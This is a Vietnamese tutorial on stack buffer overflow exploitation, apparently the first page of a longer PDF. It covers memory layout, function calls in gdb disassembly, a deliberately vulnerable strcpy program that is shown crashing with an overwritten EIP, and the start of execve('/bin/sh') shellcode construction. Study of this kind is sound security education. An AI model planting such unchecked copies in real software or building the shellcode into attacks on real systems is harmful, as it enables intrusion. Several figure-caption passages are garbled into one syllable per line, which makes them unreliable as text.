You are on page 1of 66

KỸ THUẬT KHAI THÁC LỖI TRÀN BỘ ĐỆM

trang này đã được đọc  lần 
Tóm tắt :
Loạt bài viết này trình bày về tràn bộ đệm (buffer overflow) 
xảy ra trên stack và kỹ thuật khai thác lỗi bảo mật phổ biến 
nhất này. Kỹ thuật khai thác lỗi tràn bộ đệm (buffer overflow 
exploit) được xem là một trong những kỹ thuật hacking kinh 
điển nhất. Bài viết được chia làm 2 phần:
Phần 1: Tổ chức bộ nhớ, stack, gọi hàm, shellcode. Giới 
thiệu tổ chức bộ nhớ của một tiến trình (process), các thao 
tác trên bộ nhớ stack khi gọi hàm và kỹ thuật cơ bản để tạo 
shellcode ­ đoạn mã thực thi một giao tiếp dòng lệnh (shell).
Phần 2: Kỹ thuật khai thác lỗi tràn bộ đệm. Giới thiệu kỹ 
thuật tràn bộ đệm cơ bản, tổ chức shellcode, xác định địa chỉ 
trả về, địa chỉ shellcode, cách truyền shellcode cho chương 
trình bị lỗi.
Các chi tiết kỹ thuật minh hoạ ở đây được thực hiện trên môi 
trường Linux x86 (kernel 2.2.20, glibc­2.1.3), tuy nhiên về 
mặt lý thuyết có thể áp dụng cho bất kỳ môi trường nào 
khác. Người đọc cần có kiến thức cơ bản về lập trình C, hợp 
ngữ (assembly), trình biên dịch gcc và công cụ gỡ rối gdb 
(GNU Debugger).
Nếu bạn đã biết kỹ thuật khai thác lỗi tràn bộ đệm qua các 
tài liệu khác, bài viết này cũng có thể giúp bạn củng cố lại 
kiến thức một cách chắc chắn hơn.
Phần 1: Tổ chức bộ nhớ, stack, gọi hàm, shellcode
Mục lục :
• Giới thiệu 
• 1. Tổ chức bộ nhớ 
o 1.1 Tổ chức bộ nhớ của một tiến trình (process) 

o 1.2 Stack 

• 2. Gọi hàm 
o 2.1 Giới thiệu 

o 2.2 Khởi đầu 

o 2.3 Gọi hàm 

o 2.3 Kết thúc 

• 3. Shellcode 
o 3.1 Viết shellcode trong ngôn ngữ C 

o 3.2 Giải mã hợp ngữ các hàm 

o 3.3 Định vị shellcode trên bộ nhớ 

o 3.4 Vấn đề byte giá trị null 

o 3.5 Tạo shellcode 

 
Giới thiệu
Để tìm hiểu chi tiết về lỗi tràn bộ đệm, cơ chế hoạt động và 
cách khai thác lỗi ta hãy bắt đầu bằng một ví dụ về chương 
trình bị tràn bộ đệm.
/* vuln.c */
int main(int argc, char **argv)
{
  char buf[16];
  if (argc>1) {
    strcpy(buf, argv[1]);
    printf("%s\n", buf);
  }
}

[SkZ0@gamma bof]$ gcc ­o vuln ­g vuln.c
[SkZ0@gamma bof]$ ./vuln AAAAAAAA // 8 ký tự A (1)
AAAAAAAA
[SkZ0@gamma bof]$ ./vuln 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA // 24 ký tự A 
(2)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
Chạy chương trình vuln với tham số là chuỗi dài 8 ký tự A (1), 
chương trình hoạt động bình thường. Với tham số là chuỗi 
dài 24 ký tự A (2), chương trình bị lỗi Segmentation fault. Dễ 
thấy bộ đệm buf trong chương trình chỉ chứa được tối đa 16 
ký tự đã bị làm tràn bởi 24 ký tự A.
[SkZ0@gamma bof]$ gdb vuln ­c core ­q
Core was generated by `./vuln 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld­linux.so.2...done.
#0  0x41414141 in ?? ()
(gdb) info register eip
eip            0x41414141       1094795585
(gdb) 
Thanh ghi eip ­ con trỏ lệnh hiện hành ­ có giá trị 
0x41414141, tương đương 'AAAA' (ký tự A có giá trị 0x41 
hexa). Ta thấy, có thể thay đổi giá trị của thanh ghi con trỏ 
lệnh eip bằng cách làm tràn bộ đệm buf. Khi lỗi tràn bộ đệm 
đã xảy ra, ta có thể khiến chương trình thực thi mã lệnh tuỳ ý 
bằng cách thay đổi con trỏ lệnh eip đến địa chỉ bắt đầu của 
đoạn mã lệnh đó.
Để hiểu rõ quá trình tràn bộ đệm xảy ra như thế nào, chúng 
ta sẽ xem xét chi tiết tổ chức bộ nhớ, stack và cơ chế gọi 
hàm của một chương trình.
 
1. Tổ chức bộ nhớ
1.1 Tổ chức bộ nhớ của một tiến trình (process)

Mỗi tiến trình thực thi đều được hệ điều hành cấp cho một 
không gian bộ nhớ ảo (logic) giống nhau. Không gian nhớ 
này gồm 3 vùng: text, data và stack. Ý nghĩa của 3 vùng này 
như sau:
Vùng text là vùng cố định, chứa các mã lệnh thực thi 
(instruction) và dữ liệu chỉ đọc (read­only). Vùng này được 
chia sẻ giữa các tiến trình thực thi cùng một file chương trình 
và tương ứng với phân đoạn text của file thực thi. Dữ liệu ở 
vùng này là chỉ đọc, mọi thao tác nhằm ghi lên vùng nhớ này 
đều gây lỗi segmentation violation.
Vùng data chứa các dữ liệu đã được khởi tạo hoặc chưa khởi 
tạo giá trị. Các biến toàn cục và biến tĩnh được chứa trong 
vùng này. Vùng data tương ứng với phân đoạn data­bss của 
file thực thi. 
Vùng stack là vùng nhớ được dành riêng khi thực thi chương 
trình dùng để chứa giá trị các biến cục bộ của hàm, tham số 
gọi hàm cũng như giá trị trả về. Thao tác trên bộ nhớ stack 
được thao tác theo cơ chế "vào sau ra trước" ­ LIFO (Last In, 
First Out) với hai lệnh quan trọng nhất là PUSH và POP. 
Trong phạm vi bài viết này, chúng ta chỉ tập trung tìm hiểu 
về vùng stack.
1.2 Stack
Stack là một kiểu cấu trúc dữ liệu trừu tượng cấp cao được  
dùng cho các thao tác đặc biệt dạng LIFO.
Tổ chức của vùng stack gồm các stack frame được push vào 
khi gọi một hàm và pop ra khỏi stack khi trở về. Một stack 
frame chứa các thông số cần thiết cho một hàm: biến cục 
bộ, tham số hàm, giá trị trả về; và các dữ liệu cần thiết để 
khôi phục stack frame trước đó, kể cả giá trị của con trỏ lệnh 
(instruction pointer) vào thời điểm gọi hàm.
Địa chỉ đáy của stack được gán một giá trị cố định. Địa chỉ 
đỉnh của stack được lưu bởi thanh ghi "con trỏ stack" (ESP – 
extended stack pointer). Tuỳ thuộc vào hiện thực, stack có 
thể phát triển theo hướng địa chỉ nhớ từ cao xuống thấp hoặc 
từ thấp lên cao. Trong các ví dụ về sau, chúng ta sử dụng 
stack có địa chỉ nhớ phát triển từ cao xuống thấp, đây là hiện 
thực của kiến trúc Intel. Con trỏ stack (SP) cũng phụ thuộc 
vào kiến trúc hiện thực. Nó có thể trỏ đến địa chỉ cuối cùng 
trên đỉnh stack hoặc địa chỉ vùng nhớ trống kế tiếp trên 
stack. Trong các minh hoạ về sau (với kiến trúc Intel x86), 
SP trỏ đến địa chỉ cuối cùng trên đỉnh stack.
Về lý thuyết, các biến cục bộ trong một stack frame có thể 
được truy xuất dựa vào độ dời (offset) so với SP. Tuy nhiên 
khi có các thao tác thêm vào hay lấy ra trên stack, các độ 
dời này cần phải được tính toán lại, làm giảm hiệu quả. Để 
tăng hiệu quả, các trình biên dịch sử dụng một thanh ghi thứ 
hai gọi là "con trỏ nền" (EBP – extended base pointer) hay 
còn gọi là "con trỏ frame" (FP – frame pointer). FP trỏ đến 
một giá trị cố định trong một stack frame, thường là giá trị 
đầu tiên của stack frame, các biến cục bộ và tham số được 
truy xuất qua độ dời so với FP và do đó không bị thay đổi bởi 
các thao tác thêm/bớt tiếp theo trên stack.
Đơn vị lưu trữ cơ bản trên stack là word, có giá trị bằng 32 bit 
(4 byte) trên các CPU Intel x86. (Trên các CPU Alpha hay 
Sparc giá trị này là 64 bit). Mọi giá trị biến được cấp phát trên 
stack đều có kích thước theo bội số của word.
Thao tác trên stack được thực hiện bởi 2 lệnh máy:
• push value: đưa giá trị ‘value’ vào đỉnh của stack. Giảm 
giá trị của %esp đi 1 word và đặt giá trị ‘value’ vào word 
đó. 
• pop dest: lấy giá trị từ đỉnh stack đưa vào ‘dest’. Đặt giá 
trị trỏ bởi %esp vào ‘dest’ và tăng giá trị của %esp lên 1 
word. 
 
2. Hàm và gọi hàm 
2.1 Giới thiệu
Để giải thích hoạt động của chương trình khi gọi hàm, chúng 
ta sẽ sử dụng đoạn chương trình ví dụ sau: 
/* fct.c */
void toto(int i, int j)
{
  char str[5] = "abcde";
  int k = 3;
  j = 0;
  return;
}

int main(int argc, char **argv)
{
  int i = 1;
  toto(1, 2);
  i = 0;
  printf("i=%d\n",i);
}
Quá trình gọi hàm có thể được chia làm 3 bước: 
1. Khởi đầu (prolog): trước khi chuyển thực thi cho một 

hàm cần chuẩn bị một số công việc như lưu lại trạng 
thái hiện tại của stack, cấp phát vùng nhớ cần thiết để 
thực thi. 
2. Gọi hàm (call): khi hàm được gọi, các tham số được đặt 
vào stack và con trỏ lệnh (IP – instruction pointer) được 
lưu lại để cho phép chuyển quá trình thực thi đến đúng 
điểm sau gọi hàm. 
3. Kết thúc (epilog): khôi phục lại trạng thái như trước khi 
gọi hàm. 
2.2 Khởi đầu
Một hàm luôn được khởi đầu với các lệnh máy sau:
push   %ebp
mov    %esp,%ebp
sub   $0xNN,%esp  // (giá trị 0xNN phụ thuộc vào từng hàm 
cụ thể)
3 lệnh máy này được gọi là bước khởi đầu (prolog) của hàm. 
Hình sau giải thích bước khởi đầu của hàm toto() và giá trị 
của các thanh ghi %esp, %ebp.
Hình 1: Bước khởi đầu của hàm
Gi

sử
ba
n
đầ
u
%
eb

trỏ
đế
n
địa
chỉ
X
bất
kỳ
trê
n
bộ
nh
ớ,
%
es

trỏ
đế
n
mộ
t
địa
chỉ
Y
thấ
p

n

n

ới.
Tr
ướ
c
khi
ch
uy
ển

o
mộ
t

m,
cầ
n
ph
ải

u
lại

i
trư
ờn
g
củ
a
sta
ck
fra
me
hiệ
n
tại
,
do
mọ
i
giá
trị
tro
ng
mộ
t
sta
ck
fra
me
đề
u

thể
đư
ợc
tha
m
kh
ảo
qu
a
%
eb
p,
ta
chỉ
cầ
n

u
%
eb


đủ.

%
eb

đư
ợc
pu
sh 

o
sta
ck,

n
%
es

sẽ
giả
m
đi
1
wo
rd.
Gi
á
trị
%
eb

đư
ợc
pu
sh 

o
sta
ck

y
đư
ợc
gọi

"c
on
trỏ
nề
n
bả
o

u"
(S
FP
-
sa
ve
d
fra
me
poi
nte
r).
Lệ
nh

y
th

hai
sẽ
thi
ết
lập
mộ
t

i
trư
ờn
g
mớ
i
bằ
ng
các
h
đặt
%
eb

trỏ
đế
n
đỉn
h
củ
a
sta
ck
(gi
á
trị
đầ
u
tiê
n
củ
a
mộ
t
sta
ck
fra
me
),
lúc

y
%
eb


%
es

sẽ
trỏ

ng
đế
n
mộ
t vị
trí

địa
chỉ

(Y-
1w
ord
).
Lệ
nh

y
th

ba
cấ
p
ph
át

ng
nh


nh
ch
o
biế
n
cụ
c
bộ.
M
ản
g

tự

độ
dài
5
byt
e,
tuy
nhi
ên
sta
ck
sử
dụ
ng
đơ
n
vị

u
trữ

wo
rd,
do
đó

ng
nh

đư
ợc
cấ
p
ch
o
mả
ng

tự
sẽ

mộ
t
bội
số
củ
a
wo
rd
sao
ch
o
lớn

n
ho
ặc
bằ
ng
kíc
h
th
ướ
c
củ
a
mả
ng.
Dễ
thấ
y
giá
trị
đó

8
byt
e
(2
wo
rd)
.
Bi
ến
k
kiể
u
ng
uy
ên

kíc
h
th
ướ
c4
byt
e,

vậ
y
kíc
h
th
ướ
c

ng
nh


nh
ch
o
biế
n
cụ
c
bộ
sẽ

8+
4=
12
byt
e
(3
wo
rd)
,
đư
ợc
cấ
p
ph
át
bằ
ng
các
h
giả
m
%e
sp
đi
mộ
t
giá
trị
0x

(b
ằn
g
12
tro
ng
hệ

số
16)
.
Một điều cần lưu ý ở đây là biến cục bộ luôn có độ dời âm so 
với con trỏ nền %ebp. Lệnh máy thực hiện phép gán i=0 
trong hàm main() có thể minh hoạ điều này. Mã hợp ngữ 
dùng định vị gián tiếp để xác định vị trí của i: 
 movl   $0x0,0xfffffffc(%ebp)
0xfffffffc tương đương giá trị số nguyên bằng –4. Lệnh trên có 
nghĩa: đặt giá trị 0 vào biến ở địa chỉ có độ dời “­4” byte so 
với thanh ghi %ebp. i là biến đầu tiên trong hàm main() và có 
địa chỉ cách 4 byte ngay dưới %ebp.
 
2.3 Gọi hàm
Cũng giống như bước khởi đầu, bước này cũng chuẩn bị môi 
trường cho phép nơi gọi hàm truyền các tham số cho hàm 
được gọi và trở về lại nơi gọi hàm khi kết thúc.
Hình 2 : Gọi hàm
Tr
ướ
c
khi
gọi

m
các
tha
m
số
sẽ
đư
ợc
đặt

o
sta
ck,
the
o
th

tự
ng
ượ
c
lại
,
tha
m
số
cu
ối

ng
sẽ
đư
ợc
đặt

o
trư
ớc.
Tr
on
g

dụ
trê
n,
trư
ớc
tiê
n
các
giá
trị
1

2
sẽ
đư
ợc
đặt

o
sta
ck.
Th
an
h
ghi
%
eip 
gi

giá
trị
địa
chỉ
củ
a
lện
h
kế
tiế
p,
tro
ng
trư
ờn
g
hợ
p

y

chỉ
thị
gọi

m.
Kh
i
th
ực
hiệ
n
lện
h
cal
l,
%
eip 
sẽ
lấy
giá
trị
địa
chỉ
củ
a
kế
tiế
p
ng
ay
sau
gọi

m
(trê
n
hìn
h
vẽ,
giá
trị

y

Z+
5
do
lện
h
gọi

m
chi
ếm
5
byt
e
the
o
hiệ
n
th
ực
củ
a
CP
U
Int
el
x8
6).
Lệ
nh
cal
l
sau
đó
sẽ

u
lại
giá
trị
củ
a
%
eip 
để

thể
tiế
p
tục
th
ực
thi
sau
khi
trở
về.
Qu
á
trìn
h

y
đư
ợc
th
ực
hiệ
n
bằ
ng
mộ
t
lện
h
ng
ầm
(kh
ôn
g

ờn
g
mi
nh)
đặt
%
eip 
lên
sta
ck:
pu
sh 
%
eip
Gi
á
trị

u
trê
n
sta
ck

y
đư
ợc
gọi

"c
on
trỏ
lệ
nh
bả
o

u"
(SI
P–
sa
ve
ins
tru
cti
on
poi
nte
r),
ha
y
"đị
a
chỉ
trả
về
"
(R
ET

ret
ur
n
ad
dr
ess
).
Gi
á
trị
đư
ợc
tru
yề
n
nh
ư
mộ
t
tha
m
số
ch
o
lện
h
cal
l
chí
nh

địa
chỉ
củ
a
lện
h
kh
ởi
đầ
u
(pr
olo
g)
đầ
u
tiê
n
củ
a

m
tot
o()
.
Gi
á
trị

y
sẽ
đư
ợc
ché
p

o
%
eip 

trở
thà
nh
lện
h
đư
ợc
th
ực
thi
tiế
p
the
o.
Lưu ý rằng khi ở bên trong một hàm, các tham số và địa chỉ 
trả về có độ dời dương (+) so với con trỏ nền %ebp. Lệnh 
máy thực hiện phép gán j=0 minh hoạ điều này. Mã hợp ngữ 
sử dụng định vị gián tiếp để truy xuất biến j: 
movl   $0x0,0xc(%ebp)
0xc có giá trị số nguyên bằng 12. Lệnh trên có nghĩa: đặt giá 
trị 0 vào biến ở địa chỉ có độ dời “+12” byte so với %ebp. j là 
tham số thứ 2 của hàm toto() và có địa chỉ cách 12 byte 
ngay trên %ebp (4 cho RET, 4 cho tham số đầu tiên và 4 
cho tham số thứ 2).
2.4 Kết thúc 
Thoát khỏi một hàm được thực hiện trong 2 bước. Trước tiên, 
môi trường tạo ra cho hàm thực thi cần được "dọn dẹp" 
(nghĩa là khôi phục giá trị cho %ebp và %eip). Sau đó, 
chúng ta phải kiểm tra stack để lấy các thông tin liên quan 
đến hàm vừa thoát ra. 
Bước thứ nhất được thực hiện trong bên trong hàm với 2 
lệnh: 
leave
ret
Bước kế tiếp được thực hiện nơi gọi hàm sẽ "dọn dẹp" vùng 
stack dùng chứa các tham số của hàm được gọi.
Chúng ta sẽ tiếp tục ví dụ trên với hàm toto().
Hình 3 : Trở về

đâ
y
ch
ún
g
ta

tả
lại
đầ
y
đủ

n
tìn
h
hu
ốn
g
ba
n
đầ
u,
trư
ớc
lện
h
cal



ớc
kh
ởi
đầ
u
(pr
olo
g).
Tr
ướ
c
khi
lện
h
cal
l
xả
y
ra,
%
eb


địa
chỉ
X

%
es


địa
chỉ
Y
trê
n
sta
ck.
Bắ
t
đầ
u
từ
Y,
ch
ún
g
ta
sẽ
cấ
p
ph
át
các

ng
nh


nh
ch
o
tha
m
số,
giá
trị
bả
o

u
củ
a
%
eip 

%
eb
p,


ng
nh


nh
ch
o
các
biế
n
cụ
c
bộ
củ
a

m.
Lệ
nh
sẽ
đư
ợc
th
ực
thi
kế
tiế
p

lea
ve,
lện
h

y

ơn
g
đư
ơn
g
với
2
lện
h
sau
:
mo

%
eb
p, 
%
es
p
po

%
eb
p
Lệ
nh
đầ
u
tiê
n
sẽ
đư
a
%
es


%
eb

trỏ
đế
n

ng
vị
trí
hiệ
n
tại
củ
a
%
eb
p.
Lệ
nh
th

hai
lấy
ra
giá
trị
trê
n
đỉn
h
sta
ck
đặt

o
tha
nh
ghi
%
eb
p.
Ta
thấ
y,
sau
lện
h
lea
ve,
sta
ck
trở
lại
trạ
ng
thá
i
nh
ư
trư
ớc
khi
xả
y
ra

ớc
kh
ởi
đầ
u
(pr
olo
g).
Lệ
nh
ret 
sẽ
kh
ôi
ph
ục
giá
trị
%
eip 
để
nơi
gọi

m
trở
lại
tiế
p
tục
th
ực
thi
lện
h
kế,

lện
h
ng
ay
sau

m
vừ
a
tho
át
ra.
Để

m
điề
u

y,
giá
trị
ng
ay
trê
n
đỉn
h
sta
ck
sẽ
đư
ợc
lấy
ra
đặt

o
tha
nh
ghi
%
eip
.
Ch
ún
g
ta
vẫ
n
ch
ưa
trở
lại
đư
ợc
tìn
h
trạ
ng
ba
n
đầ
u
do
các
tha
m
số
tru
yề
n
ch
o

m
vẫ
n

n
ch
ưa
đư
ợc
dọ
n
kh
ỏi
sta
ck.
Ch
ún
g
sẽ
đư
ợc
xo
á
đi
tro
ng
lện
h
kế
tiế
pở
địa
chỉ
Z+
5
đư
ợc

u
tro
ng
%
eip
.
Vi
ệc
cấ
p
ph
át

thu
hồi

ng
sta
ck
củ
a
các
tha
m
số

m
đư
ợc
th
ực
hiệ
n
nơi
gọi

m.
Đi
ều

y
đư
ợc
mi
nh
ho

trê
n
hìn
h

n
với
lện
h:
ad

0x
8, 
%
es

Lệ
nh

y
sẽ
dời
%
es

từ
đỉn
h
sta
ck
với
số
byt
e
bằ
ng
số
byt
e
đư
ợc
cấ
p
ch
o
các
tha
m
số
củ
a

m
tot
o()
.
Th
an
h
ghi
%
eb


%
es

lúc

y
giố
ng
với
tìn
h
trạ
ng
trư
ớc
khi
lện
h
gọi
xả
y
ra.
Tu
y
nhi
ên
giá
trị
củ
a
tha
nh
ghi
%
eip 
đã
đư
ợc
ch
uy
ển
đế
n
lện
h
kế
tiế
p.
Biên dịch và giải hợp ngữ chương trình minh hoạ trên với gdb 
để xem mã hợp ngữ tương ứng với các bước đã trình bày.
[SkZ0@gamma bof]$ gcc ­g ­o fct fct.c
[SkZ0@gamma bof]$ gdb fct ­q
(gdb)disassemble main   //hàm main
Dump of assembler code for function main:

0x80483e0 :       push   %ebp  //bước khởi đầu ­ prolog
0x80483e1 :     mov    %esp,%ebp
0x80483e3 :     sub    $0x4,%esp

0x80483e6 :     movl   $0x1,0xfffffffc(%ebp)

0x80483ed :    push   $0x2  //gọi hàm ­ call
0x80483ef :    push   $0x1
0x80483f1 :    call   0x80483b4 

0x80483f6 :    add    $0x8,%esp  //trở về từ hàm toto()

0x80483f9 :    movl   $0x0,0xfffffffc(%ebp)
0x8048400 :    mov    0xfffffffc(%ebp),%eax

0x8048403 :    push   %eax  //gọi hàm ­ call
0x8048404 :    push   $0x804846e
0x8048409 :    call   0x8048308 

0x804840e :    add    $0x8,%esp  //trở về từ hàm printf()
0x8048411 :    leave   //trở về từ hàm main()
0x8048412 :    ret    
0x8048413 :    nop    
End of assembler dump.
(gdb) disassemble toto   //hàm toto
Dump of assembler code for function toto:

0x80483b4 :       push   %ebp  //bước khởi đầu ­ prolog
0x80483b5 :     mov    %esp,%ebp
0x80483b7 :     sub    $0xc,%esp

0x80483ba :     mov    0x8048468,%eax
0x80483bf :    mov    %eax,0xfffffff8(%ebp)
0x80483c2 :    mov    0x804846c,%al
0x80483c8 :    mov    %al,0xfffffffc(%ebp)
0x80483cb :    movl   $0x3,0xfffffff4(%ebp)
0x80483d2 :    movl   $0x0,0xc(%ebp)
0x80483d9 :    jmp    0x80483dc 
0x80483db :    nop    

0x80483dc :    leave  //trở về từ hàm toto()
0x80483dd :    ret    

0x80483de :    mov    %esi,%esi
End of assembler dump.
(gdb)
 
3. Shellcode
Khi tràn bộ đệm xảy ra, ta có thể thao tác trên stack, ghi đè 
giá trị trả về RET và khiến chương trình thực thi mã lệnh bất 
kỳ. Thông thường và đơn giản nhất là khiến chương trình 
thực thi một đoạn mã để chạy một giao tiếp dòng lệnh shell. 
Vì sẽ được chèn trực tiếp vào giữa bộ nhớ chương trình để 
thực thi tiếp nên đoạn mã này phải được viết ở dạng hợp 
ngữ. Những đoạn mã chương trình kiểu này thường được gọi 
là shellcode.
3.1 Viết shellcode trong ngôn ngữ C
Mục đích của shellcode là để thực thi một giao tiếp dòng 
lệnh shell. Trước tiên hãy viết ở ngôn ngữ C:
/* shellcode.c */
#include 
#include 

int main()
{
  char * name[] = {"/bin/sh", NULL};
  execve(name[0], name, NULL);
  _exit (0);
}
Trong số các hàm dạng exec() được dùng để gọi thực thi một 
chương trình khác, execve() là hàm nên dùng. Lý do: 
execve() là hàm hệ thống (system­call) khác với các hàm 
exec() khác được hiện thực trong libc (và do đó cũng được 
hiện thực dựa trên execve()). Hàm hệ thống được thực hiện 
thông qua gọi ngắt với các giá trị tham số đặt trong thanh ghi 
định trước, do đó mã hợp ngữ tạo ra sẽ ngắn gọn.
Hơn nữa, nếu gọi execve() thành công, chương trình gọi sẽ 
được thay thế bởi chương trình được gọi và xem như mới bắt 
đầu quá trình thực thi. Nếu gọi execve() không thành công, 
chương trình gọi sẽ tiếp tục quá trình thực thi. Khi khai thác 
lỗ hổng, đoạn mã shellcode sẽ được chèn vào giữa quá trình 
thực thi của chương trình bị lỗi. Sau khi đã chạy các mã lệnh 
theo ý muốn, việc tiếp tục quá trình thực thi của chương trình 
là không cần thiết và đôi khi gây ra những kết quả ngoài ý 
muốn do nội dung của stack đã bị làm thay đổi. Vì vậy, quá 
trình thực thi cần được kết thúc ngay khi có thể. Ở đây chúng 
ta sử dụng _exit() để kết thúc thay vì dùng exit() là hàm thư 
viện libc được hiện thực dựa trên hàm hệ thống _exit().
Hãy ghi nhớ các tham số để truyền cho hàm execve() trên:
• chuỗi /bin/sh 

• địa chỉ của mảng tham số (kết thúc bằng con trỏ NULL) 

• địa chỉ của mảng biến môi trường (ở đây là con trỏ 

NULL) 
3.2 Giải mã hợp ngữ các hàm
Biên dịch shellcode.c với option debug và static để tích hợp 
các hàm được liên kết qua thư viện động vào trong chương 
trình.
[SkZ0@gamma bof]$ gcc ­o shellcode shellcode.c ­O2 ­g 
­­static
Bây giờ hãy xem xét mã hợp ngữ của hàm main() bằng gdb. 
[SkZ0@gamma bof]$ gdb shellcode ­q
(gdb) disassemble main
Dump of assembler code for function main:
0x804818c :       push   %ebp
0x804818d :     mov    %esp,%ebp
0x804818f :     sub    $0x8,%esp
0x8048192 :     movl   $0x0,0xfffffff8(%ebp)
0x8048199 :    movl   $0x0,0xfffffffc(%ebp)
0x80481a0 :    mov    $0x806f388,%edx
0x80481a5 :    mov    %edx,0xfffffff8(%ebp)
0x80481a8 :    push   $0x0
0x80481aa :    lea    0xfffffff8(%ebp),%eax
0x80481ad :    push   %eax
0x80481ae :    push   %edx
0x80481af :    call   0x804c6ec <__execve>
0x80481b4 :    push   $0x0
0x80481b6 :    call   0x804c6d0 <_exit>
End of assembler dump.
(gdb)
Để ý lệnh sau:
0x80481a0 :    mov    $0x806f388,%edx
Lệnh này chuyển một giá trị địa chỉ nhớ vào thanh ghi %edx.
(gdb) printf "%s\n", 0x806f388
/bin/sh
(gdb)
Như vậy địa chỉ chuỗi "/bin/sh" sẽ được đặt vào thanh ghi 
%edx. Trước khi gọi các hàm thấp hơn của thư viện C hiện 
thực hàm hệ thống execve() các tham số được đặt vào stack 
theo thứ tự:
• con trỏ NULL 

0x80481a8 : push $0x0
• địa chỉ của mảng tham số

0x80481aa : lea 0xfffffff8(%ebp),%eax
0x80481ad : push %eax
• địa chỉ của chuỗi /bin/sh 

0x80481ae : push %edx
Hãy xem các hàm execve() và _exit() 
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x804c6ec <__execve>:   push   %ebp
0x804c6ed <__execve+1>: mov    %esp,%ebp
0x804c6ef <__execve+3>: push   %edi
0x804c6f0 <__execve+4>: push   %ebx
0x804c6f1 <__execve+5>: mov    0x8(%ebp),%edi
0x804c6f4 <__execve+8>: mov    $0x0,%eax
0x804c6f9 <__execve+13>:        test   %eax,%eax
0x804c6fb <__execve+15>:        je     0x804c702 
<__execve+22>
0x804c6fd <__execve+17>:        call   0x0
0x804c702 <__execve+22>:        mov    0xc(%ebp),%ecx
0x804c705 <__execve+25>:        mov    0x10(%ebp),%edx
0x804c708 <__execve+28>:        push   %ebx
0x804c709 <__execve+29>:        mov    %edi,%ebx
0x804c70b <__execve+31>:        mov    $0xb,%eax
0x804c710 <__execve+36>:        int    $0x80
0x804c712 <__execve+38>:        pop    %ebx
0x804c713 <__execve+39>:        mov    %eax,%ebx
0x804c715 <__execve+41>:        cmp    $0xfffff000,%ebx
0x804c71b <__execve+47>:        jbe    0x804c72b 
<__execve+63>
0x804c71d <__execve+49>:        call   0x80482b8 
<__errno_location>
0x804c722 <__execve+54>:        neg    %ebx
0x804c724 <__execve+56>:        mov    %ebx,(%eax)
0x804c726 <__execve+58>:        mov    $0xffffffff,%ebx
0x804c72b <__execve+63>:        mov    %ebx,%eax
0x804c72d <__execve+65>:        lea    0xfffffff8(%ebp),%esp
0x804c730 <__execve+68>:        pop    %ebx
0x804c731 <__execve+69>:        pop    %edi
0x804c732 <__execve+70>:        leave  
0x804c733 <__execve+71>:        ret    
End of assembler dump.
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x804c6d0 <_exit>:      mov    %ebx,%edx
0x804c6d2 <_exit+2>:    mov    0x4(%esp,1),%ebx
0x804c6d6 <_exit+6>:    mov    $0x1,%eax
0x804c6db <_exit+11>:   int    $0x80
0x804c6dd <_exit+13>:   mov    %edx,%ebx
0x804c6df <_exit+15>:   cmp    $0xfffff001,%eax
0x804c6e4 <_exit+20>:   jae    0x804ca80 <__syscall_error>
End of assembler dump.
(gdb) quit
Hệ điều hành sẽ thực hiện một lệnh call bằng cách gọi ngắt 
0x80, ở các địa chỉ 0x804c710 cho execve() và 0x804c6db 
cho _exit(). Các địa chỉ này thường không giống nhau đối với 
mỗi hàm hệ thống, đặc điểm để phân biệt chính là nội dung 
thanh ghi %eax. Xem ở trên, giá trị này là 0xb với execve() 
trong khi _exit() là 0x1.
Hình 4: Hàm execve và tham số 

Phân tích mã hợp ngữ trên chúng ta rút ra một số kết luận 
sau:
• trước khi gọi thực thi hàm __execve() bằng gọi ngắt 

0x80: 
o thanh ghi %edx giữ giá trị địa chỉ của mảng biến 

môi trường: 
0x804c705 <__execve+25>: mov 0x10(%ebp),
%edx
Để đơn giản, chúng ta sẽ sử dụng biến môi trường 
rỗng bằng cách gán giá trị này bằng một con trỏ 
NULL. 
o thanh ghi %ecx giữ giá trị địa chỉ của mảng tham 
số 
0x804c702 <__execve+22>: mov 0xc(%ebp),
%ecx
Tham số đầu tiên phải là tên của chương trình, ở 
đây dơn giản chỉ là một mảng dùng để chứa địa 
chỉ của chuỗi "/bin/sh" và kết thúc bằng một con 
trỏ NULL. 
o thanh ghi %ebx giữ địa chỉ của chuỗi tên chương 
trình cần thực thi, trong trường hợp này là "/bin/sh" 
0x804c6f1 <__execve+5>: mov 0x8(%ebp),%edi
...
0x804c709 <__execve+29>: mov %edi,%ebx

• hàm _exit(): kết thúc quá trình thực thi, mã kết quả trả 
về cho quá trình cha (thường là shell) được lưu trong 
thanh ghi %ebx 
0x804c6d2 <_exit+2>: mov 0x4(%esp,1),%ebx
Để hoàn tất việc tạo mã hợp ngữ, chúng ta cần một nơi chứa 
chuỗi "/bin/sh", một con trỏ đến chuỗi này và một con trỏ 
NULL (để kết thúc mảng tham số, đồng thời là con trỏ biến 
môi trường). Những dữ liệu trên phải được chuẩn bị trước khi 
thực thiện gọi execve().
3.3 Định vị shellcode trên bộ nhớ
Thông thường shellcode sẽ được chèn vào chương trình bị lỗi 
thông qua tham số dòng lệnh, biến môi trường hay chuỗi 
nhập từ bàn phím/file. Dù bằng cách nào thì khi tạo 
shellcode chúng ta cũng không thể biết được địa chỉ của nó. 
Không những thế chúng ta còn buộc phải biết trước địa chỉ 
chuỗi "/bin/sh". Tuy nhiên, bằng một số thủ thuật chúng ta có 
thể giải quyết được trở ngại đó. Có hai cách để định vị 
shellcode trên bộ nhớ, tất cả đều thông qua định vị gián tiếp 
để đảm bảo tính độc lập. Để đơn giản, ở đây chúng ta sẽ 
trình bày cách định vị shellcode dùng stack.
Để chuẩn bị mảng tham số và con trỏ biến môi trường cho 
hàm execve(), chúng ta sẽ đặt trực tiếp chuỗi "/bin/sh", con 
trỏ NULL lên stack và xác định địa chỉ thông qua giá trị 
thanh ghi %esp. Mã hợp ngữ sẽ có dạng sau:
beginning_of_shellcode:
    pushl $0x0 // giá trị null kết thúc chuỗi /bin/sh
    pushl "/bin/sh" // chuỗi /bin/sh
    movl %esp,%ebx // %ebx chứa địa chỉ /bin/sh
    push NULL // con trỏ NULL của mảng tham số
    ...
    (mã hợp ngữ của shellcode)    
3.4 Vấn đề byte giá trị null
